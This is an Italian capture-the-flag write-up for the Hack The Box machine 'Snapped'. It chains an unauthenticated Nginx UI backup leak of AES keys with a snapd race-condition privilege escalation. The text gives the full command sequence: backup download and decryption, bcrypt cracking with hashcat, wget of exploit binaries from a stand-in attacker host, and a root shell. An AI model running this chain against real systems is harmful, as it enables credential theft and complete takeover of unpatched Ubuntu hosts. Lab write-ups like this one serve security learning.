
# HTB Snapped — Writeup della macchina Linux di livello Hard. CVE-2026-27944 (divulgazione non autenticata del backup di Nginx UI) concatenata con CVE-2026-3888 (LPE da race condition in snapd) per ottenere il pieno compromesso del sistema.
Writeup della macchina Linux Hard HTB Snapped. CVE-2026-27944 (divulgazione non autenticata del backup di Nginx UI) concatenata con CVE-2026-3888 (LPE race condition in snapd) per ottenere il pieno compromesso del sistema.
Difficoltà: Hard
SO: Linux (Ubuntu 24.04)
Data di rilascio: 23 Mar 2026
CVE: CVE-2026-27944, CVE-2026-3888
Snapped è una macchina Linux Hard che ospita un sito statico dietro nginx con un pannello di amministrazione Nginx UI. L'accesso iniziale si ottiene sfruttando CVE-2026-27944 — un endpoint di backup non autenticato che rilascia le chiavi di cifratura AES. Dopo aver decifrato il backup e craccato un hash bcrypt dal database SQLite, si ottiene l'accesso SSH. L'escalation dei privilegi a root si ottiene tramite CVE-2026-3888, una race condition in snapd tra snap-confine e systemd-tmpfiles.
nmap -sCV <TARGET_IP>
Porte aperte: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Trovato: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Le versioni di Nginx UI precedenti alla 2.3.3 espongono /api/backup senza
autenticazione. L'header della risposta X-Backup-Security rilascia la
chiave AES-256-CBC e l'IV necessari per decifrare l'archivio di backup.
Passo 1 — Scaricare il backup ed estrarre chiave/IV:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
Passo 2 — Convertire in hex e decifrare:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
Passo 3 — Estrarre l'hash dal database SQLite:
strings database.db | grep '\$2a\$'
# Trovati hash bcrypt per gli utenti: jonathan, admin
Passo 4 — Craccare l'hash:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
Passo 5 — Accesso SSH:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 è un'escalation locale dei privilegi in snapd che colpisce Ubuntu 24.04. Abusa di una race condition TOCTOU tra due componenti di sistema:
/tmp/.snapQuando systemd-tmpfiles elimina /tmp/.snap, un attaccante può ricrearlo
con contenuti malevoli. Quando snap-confine inizializza successivamente un
sandbox, monta tramite bind la directory controllata dall'attaccante con
privilegi di root, consentendo l'hijacking del linker dinamico.
Passo 1 — Verificare la versione vulnerabile:
snap version
# snapd 2.63.1+24.04 — vulnerabile (corretto nella 2.73)
Passo 2 — Compilare l'exploit sulla macchina dell'attaccante:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Passo 3 — Trasferire sul target:
# Macchina dell'attaccante
python3 -m http.server 8080
# Target
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
Passo 4 — Eseguire l'exploit:
# Sessione 1 — eseguire l'exploit
~/exploit ~/librootshell.so
# Sessione 2 — attivare la pulizia quando si vede "Polling..."
rm -rf /tmp/.snap
Passo 5 — Shell root:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt